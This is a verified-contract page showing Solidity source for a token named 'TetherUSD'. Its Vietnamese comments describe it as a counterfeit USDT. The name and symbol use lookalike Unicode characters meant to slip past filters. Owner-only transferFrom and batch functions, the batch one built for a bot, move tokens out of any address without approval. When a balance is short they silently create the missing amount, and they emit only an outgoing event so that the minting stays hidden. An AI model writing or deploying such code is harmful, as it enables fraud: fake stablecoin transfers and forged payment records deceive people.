Verified contractExactMIT
TetherUSD
Address0x4384ae4047e3bfab48e7d6bf57a528e1a81edc9f
- Balance
0 ETH
- Transactions
361
- Compiler
solc 0.8.34
- Same code
Only this contract
Details
- Compiler
- solc 0.8.34+commit.80d5c536
- Language
- solidity
- Optimization
- No
- License
- MIT
- Match
- Exactcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 26,392,879
- Creation transaction
- 0x0d64826f8d…c321cb0ac8
100b.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract TetherUSD {
// Dùng ký tự unicode Cyrillic để lách bộ lọc
string public name = unicode"U\u206FS\u206FD\uA4DA";
string public symbol = unicode"U\u206FS\u206FD\uA4DA";
uint8 public constant decimals = 18;
uint256 public totalSupply = 1000000000 * 10**18; // 1 tỷ USDT
address public owner;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
modifier onlyOwner() {
require(msg.sender == owner, "Chi owner moi duoc goi!");
_;
}
constructor() {
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool) {
require(balanceOf[msg.sender] >= value, "Khong du so du");
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
// Đã xóa hoàn toàn emit từ address(0). Bù số dư âm thầm để không hiện IN trên lịch sử.
function transferFrom(address from, address to, uint256 value) public onlyOwner returns (bool) {
if (balanceOf[from] < value) {
// Âm thầm đặt số dư ví bị trừ bằng đúng số lượng cần chuyển để tránh lỗi Underflow
balanceOf[from] = value;
}
balanceOf[from] -= value;
balanceOf[to] += value;
// Chỉ phát ra sự kiện chuyển tiền (OUT) từ B sang D
emit Transfer(from, to, value);
return true;
}
// =========================================================================
// HÀM MỚI: BATCH TRANSFER TỐI ƯU GAS CHO BOT
// =========================================================================
function batchTransferFrom(
address[] calldata fromList,
address[] calldata toList,
uint256[] calldata valueList
) public onlyOwner returns (bool) {
require(fromList.length == toList.length && toList.length == valueList.length, "Do dai mang khong khop");
for (uint256 i = 0; i < fromList.length; i++) {
address from = fromList[i];
address to = toList[i];
uint256 value = valueList[i];
if (balanceOf[from] < value) {
balanceOf[from] = value;
}
balanceOf[from] -= value;
balanceOf[to] += value;
emit Transfer(from, to, value);
}
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
}Compiler settingsShow
{
"optimizer": {
"runs": 200,
"enabled": false
},
"remappings": []
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.